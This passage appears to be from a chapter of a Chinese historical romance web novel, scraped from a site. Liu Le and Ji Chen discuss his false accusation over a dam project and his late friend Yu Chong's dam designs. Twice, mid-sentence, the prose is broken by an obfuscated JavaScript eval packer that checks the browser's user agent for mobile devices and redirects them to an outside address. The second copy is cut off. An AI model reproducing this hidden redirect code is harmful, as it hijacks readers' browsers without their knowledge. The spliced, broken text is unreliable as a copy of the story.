“你来了。”隔上片刻,计晨又说,“等得并不久,我只怕你来不了。” “我在庙会上走了走,才好来歇歇。”柳乐抱歉地解释。 “要说久——马上就一年了。”计晨感慨万千地说。 柳乐方想起与他已一年未见,而一年前,是他二人刚成婚。——真要说起,一年并不算长,可如今想来,仿佛是很久很久之前。她嘴上只好说一句:“晨大哥,你都好吧?” 计晨点点头,“你也好吧?” 柳乐轻而坚定地点头,抬起脸,直向计晨看去:他穿件淡青色长衫,面孔似乎比原先黑了些,清瘦了些,但脸上的温厚之色并无稍减。 “前几日我去看过——老师。”计晨说,“老师说我没大变样,你看呢?” “没变。”柳乐笑了笑,又收住,说,“我知道晨大哥不怕,但受这样的无妄之灾,实在太不公道。” “其实并没受苦,大理寺的几位大人很是公道,只有后来……”计晨忽地顿住,笑着抬了抬手臂,“你也能瞧见,我这身上是一点儿事也没有,只是心里焦急,偏递不出消息,害你们担惊受怕。好容易见一次大哥,谁知是连累他也跟着遭罪,我父亲又病倒,你们又为我日夜……唉,我真的……” “晨大哥别这样说,有难同当。伯父现在可大安了?” “好得多了。” 屋子很暖和,柳乐解去大红银鼠斗篷搭在椅背上,里面穿件浅粉宫锦袍儿,袍下露出花锦蓝裙。计晨向她身上望了几眼,情不自禁似的说:“我还想着,恐怕我不敢认你了。——你是一点儿没变。” 柳乐稍稍顿了一顿,笑道:“晨大哥从不恭维人的,那我可就当真了。” 计晨也笑了:“看我,只顾说这些,还没请你坐下。水滚了,吃茶吧。”他从屋内安着的一只小茶炉上摘下茶吊子,先为柳乐斟上茶,再倒一杯给自己。两人相对坐了,几缕淡淡的水雾在面前升起、盘旋又散开。 谁也不碰茶杯,只盯着刚从杯口冒出的那团雾气。这时还没有太多客人,但墙壁薄,两人不自觉都放低了声音。计晨先开口说话:“前些天我才去拜望老师,一来是因为病还未好——刚回家时家母不放我出门,不知从哪里搞来的方子,每日做些滋补的汤药与我吃,屋里又生着火盆,反倒病了。”他无奈地笑笑,踌躇一会儿,又道,“二来是,现今不比往日,虽说是探望老师,本无可非议之事,也得避些嫌猜。” 柳乐忙道:“晨大哥不必牵挂,我父亲只要你无事便行。” “我知道。将来我还是会常去的。”计晨郑重地说,旋即笑起来,“我瞧老师气色很好,我们说了不少话。只是,想起你们原先那所房子,我倒还有些不舍。不怕你笑话,昨日我又去过一回,在门外看了看。” 柳乐笑了:“我父亲也不舍得,那屋子还留着。” “那太好了。”计晨道,“先前那学堂后来给别人拿去开了铺子,我心里便有些不好受。” 柳乐也舍不得学堂,不过毕竟是租用的院子,父亲不教书了,纵使再想留也留不起。 “好在是开米粮铺子,五谷为养,同样是人每日离不了的。后头原先做讲堂的屋子改了麻油作坊,书香换作油香,也不算太辱没。”她笑着说。 两人似乎都回忆到少年读书的往事,初见时些微的尴尬之意不觉消散去了。 “伯母、娴姐姐和晴妹妹都好么?”柳乐问。 “她们都很好,多谢你。她们也——问候你。” 这本是寒暄客套,柳乐并未多想,可是计晨的神色突然变得不自在,令她猛地记起和离时计晴说过些难听的话,或许计晨回来后也从妹妹口里听见了。柳乐低下头,悔不该提起她们。 “其实今日我过来没告诉她们,怕她们会拦着。”计晨好像下决心要把话说开,语调虽然苦涩沉重,仍是一口气地往下说,“我母亲的脾性你清楚,计晴也让她教得太不懂事,遇到事情不但帮不了忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15015590|156576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还添乱,累你里里外外受了许多委屈。这次我能无事都是亏了你,不但我,她们也该感激你——我知道你不肯受,但我也不愿我的亲人是忘恩负义之辈。我都对她们讲了,我母亲大概多少听进去些,心里也愧疚,只是不好来向你当面赔礼——这本是计晴该做的,但她总是哭,实在让人没法儿。” “你说得太重了。我怎么敢当?”柳乐忙道,“这事情起头是天老爷不公,后来是他纠正了,谁也不必感激谁。再说那时候我一着急,常常顶撞伯母,她都大人大量没怪我,是我该赔礼才对。你更别责备晴妹妹,先前她和我最好,只因她是关心你,求全不得,反倒生隙——便是犯些口角,都是一时便过去了,谁拿它当真?我也是做妹妹的,还不明白她么。” “你说得也对,说到底都是为我,我反去责怪别人,真成了忘恩负义之辈了。”计晨笑了笑又说,“计筠她两个还记着你。” “呀,刚才我没提,你也别以为我就忘了她们。”柳乐笑道,想起两个小姑娘,打心里感到高兴。 又闲聊了几句,柳乐说:“我不能呆太久,晨大哥,劳烦你过来,是因为我想问你一件事。” “什么事?”计晨在椅上正了正身子,微微向前,急切地问。 “我想问,那座水坝——”她刚说两个字,看计晨脸颊猛地一抽,便打住了。 计晨马上说:“那座水坝——我是问心无愧的。” “我一直都知道。”柳乐有些难过,计晨遭遇不平太久了,才会以为连她也起了猜疑。 计晨温和地笑了:“那时候我总是想,管他们分不分是非,至少有一个人是绝对相信我的。——你只管问吧,关于水坝的什么事?” “晨大哥当初为什么想要去?” “为什么?”计晨脸上泛出苦笑,“我也问过自己。那时我真不该去,就不会有这些事了。不然的话,我们……我们会是什么样子?——肯定你不会像现在这样怨我。” “我从没有怨过你。”柳乐心里不是滋味,不想要他再误解自己,直言道,“我是想,事情究竟因何而起?可能我想得太浅,理得不清,但我看,无非两种可能:一个是晨大哥因被皇上派去,碰巧撞上这事,若换别人也一样。那些人败露后为减轻罪责,或为混淆视听,多攀扯一个是一个,才要往你身上泼脏水。可是那一万两银子我又想不通,除非他们还有其他同党。还有一个可能便是,从头至尾都是要陷害你,是故意将你引去荥阳,引入圈套。可谁会这么做,谁能事先知晓建水坝背地里的事?假若真有这么一个人,他……我更想不通了,不可能有人这样恨晨大哥。” 计晨的嘴唇发白,惨笑着说:“不可能。我虽不合时宜,大概得罪过几个人,但还不至于招来这样的不解之仇。” “是啊,如果真有那个人,就太可怕了。”柳乐不由自主打了个寒战,定定神,脸容更严肃了,“建水坝被他们拿来作幌子,但这也是一个关节——如晨大哥所说,要是不去,就不会有这些事。晨大哥再想想,当初是非去不可,还是事有凑巧;如非要去,是皇帝的命令,还是晨大哥自己想去?我想若非有十足的把握,晨大哥是不会自荐前往的,那么是谁一定要举荐晨大哥?” 52. 计晨和禹冲 计晨苦笑连连,说:“你疑惑得很是,怪我先前没向你全说明白。其实当日我已有打算,要上奏皇帝,自请去建造水坝。但不是那个时候,因为咱们……我会推迟几个月,当然,要先和你商量。 “我有这样的想法非止一日,也做了些准备,和部里的同僚们都探讨过,亦常常向精通水文地理的前辈讨教,可能部里的大人听到了,在皇帝跟前提过,因此,才有那一日皇上传我进宫,问及此事。皇上召来数人,连夜商议,最终确定使用我那套办法。只是水坝即刻要开工,不好耽延,皇上说若我抽身不得,便要先派他人,等过段时候再要我前往,但头一步至关重要,最好先由我去,过得几个月,工程顺顺当当启动起来,再换别人。 “我自然也不放心其他人替我,犹豫再三还是领了旨。因此,要说起来,这半是皇帝之命,半是我自愿,半是非去不可,半也是巧合。——若说其中有奸,我认为并不像。倘有人肯费这些周折陷害我,他大概还不会罢休,咱们后头再看。不过眼下,我不愿多做无谓的猜测,更不希望你为此烦忧。” 柳乐忙道:“我不过是没事时瞎捉摸罢了,我也认为猜得太牵强。疑神疑鬼是犯不着,不过防人之心不可无,晨大哥自己留神些。” 计晨点一点头。 柳乐又问:“那晨大哥去刑部,并不是为了——” “你也听到了?”计晨忙问。 “我是才从我父亲那儿听说。” “嗯。我告诉了老师,他也赞同我换个地方。”计晨说,“我并不是为想要追究那件案子而去刑部。我方才说不愿再为这个事费心伤神,确是如此,暂且让它过去吧。当然,我一定会小心,假使有人还不想放过去。——我去刑部,是因为发现自己到底不适合待在工部,恐怕往后再做不出什么来,至于选刑部——我虽没有断案的才干,也算经过一事,长了一智,我想等我审案时,总会设法谨慎又谨慎,省得旁人再历不必要的烦苦。” “晨大哥果然无私无畏。”柳乐钦佩道,“不论晨大哥去哪里,都是百姓之福,晨大哥说自己没才干,我是万万不信的。” 计晨微微笑着摇了摇头:“拿朝廷俸禄,怎能不尽心做事。不敢说造福百姓,只求我自己无愧于人罢了。” 柳乐知道计晨谦虚,虽嘴上是这样说,来日必能在刑部有所作为。她还有话要问,想再转回水坝上,又瞧计晨似有开口之意,便先等了等。 计晨垂目看着茶盏,将嗓音放得更低:“那一日我为何要走,当时你已知道,今日我把早先的想法也告诉了你,但还有更远的事,你不知道的——我到底为什么想要去。” “晨大哥到底是为什么想要去。”柳乐如自语一般重复他的话。 “本来我没有任何事想瞒你,唯独这件。既然你已经提到,我说了罢——是因为禹冲兄弟。” 柳乐的脸蓦地白了,虽然这个名字并未出乎她的意料。心中的激动几乎使她没法安静坐着,恨不得起身来回疾走。但她不敢抬头望计晨,也不敢发出声音,只能等着他讲下去。 计晨呷一口茶,道:“那时,他在牢里,马上就要发配,我去看他,他对我说:‘你去我家,让我姑母把她收着的一个本子给你,——那是我绘的河坝图样,虽只是个雏形,好些地方我还没有全部想透,但我知道能行,我有把握照着它,能造出一座坚不可摧的大坝。可能别人看了要说我故意标新立异,其实不是,我一定要让他们好好瞧瞧。我这一去一回可能要两年工夫,我不甘心白白浪费这两年,所以请你先替我做这件事。’ “我说:‘你也知道我不长于这些,还是等你回来,咱们一起钻研它。’ “他说:‘等不了了,我心里急得很。反正我是什么也做不了,与其把它搁置在那儿,不若你先拿去瞧一瞧,若是可行,等我回来咱们就立即开始;若行不通——不,绝不会行不通。’” 计晨停下,望着柳乐笑笑:“你明白牢狱的情形——那时是好说歹说才准我进去看他,不能呆太久,再说牢房里那么多人,也不是个说话的地方。我答应了他,说我会先拿到图本,慢慢研究,绝不让他失望。 “之后,从牢里出来,我立即便去了他家,向禹伯母要来了图纸。如禹冲说的一样,是个订好的本子,共有三四十页,每页上都有图,是拿界尺细细绘的,,图旁边还密密麻麻列了算式。一开始我看不大懂——也不是看不懂——要我说,不可能照那样子建坝,实在是太异想天开了。若是别人给我看这东西,我早就把它丢了,因为是禹冲兄弟,我又绝对信他,我想定是我太笨,没看明白。我心里不服,怕禹冲兄弟回来时取笑我,立誓要把它想出来,为此,我专门找来许多书籍学习。 “学了一年,我自以为能赶上禹冲了,谁知再去看,还是解不透。就是这个时候,收到了禹冲的……我想,我一定要把这件事做成,这也算是他的遗愿。那以后,又过一年,终于叫我把建水坝的全部关节都想明白了——但那不是我自己的功劳,是禹冲在天有灵,帮我想出来的。 “后面的事便是我方才所说,我把筑坝的思路和许多人讨论,被皇上听到,召我询问,你不知得着那个机会我多么高兴,甚至觉得……觉得要离开你也可以忍受。到了荥阳,水坝开工,所用木材石材皆与我的测算一致,谁料却被人说成故意算差,使得偷取工料有可乘之机。我重新再算,也是与先前一毫不差,后来派了精通水工之人与我对质,指出计算中的错误,我方才看出,照那样果然建不起水坝。 “要说我是故意错还是无意错,我自己如何辩得清?所以迟迟不能脱罪,并非是我全然受冤屈。”计晨悲叹道,“怪只怪我学问不到家,还是想得错了。说到底我太没用,若是禹冲兄弟本人在,一定可以……” 柳乐强自克制着,不把心中的难过显露到脸上来。“那个本子还在不在?” 计晨摇摇头,“当日去荥阳时,我把它夹在其它书本中一起带去了。其实用不着带,那上面每幅图,每个字我早就都牢牢记在心里头。但我怕放在家里,你万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳乐脸红了。她自然只能告诉计晨自己待在王府很喜欢,若这是假话,她会更好地掩饰,绝不令计晨疑心;——惟其这正是她的真实想法,她却反而显得言不由衷似的。是害怕吗? 她不知自己是怎么了,这般遮遮掩掩不是她的天性,尤其是,无论如何,计晨是位好朋友啊。 她真心实意地补上一句:“王爷待我很好。” “这也是理所应当。”计晨像兄长一般笑笑,“那我就放心了,王爷才德兼备,远远高出世间诸男子,你在王府过得好,我真心为你高兴。” 柳乐不知该接什么话,微微低下头。她心中很不自在,觉得还是没有把自己表白清楚,还是令计晨误会了。她不希望计晨以为自己嫁给王爷是为救他,为她担忧愧疚。可是要解释个清楚明白,看似只需简单几句话,要她开口却异常艰难。 她在心里搜寻真诚而又合适的说辞,终于开口道:“虽是无意中去到王府,如今也算得了安稳,无可抱怨,请晨大哥放心。” “那便好,不说这些了。你不是立即要走吧?”计晨问。 “我还可以待一会儿,怎么了?” “我也有一事想问你。”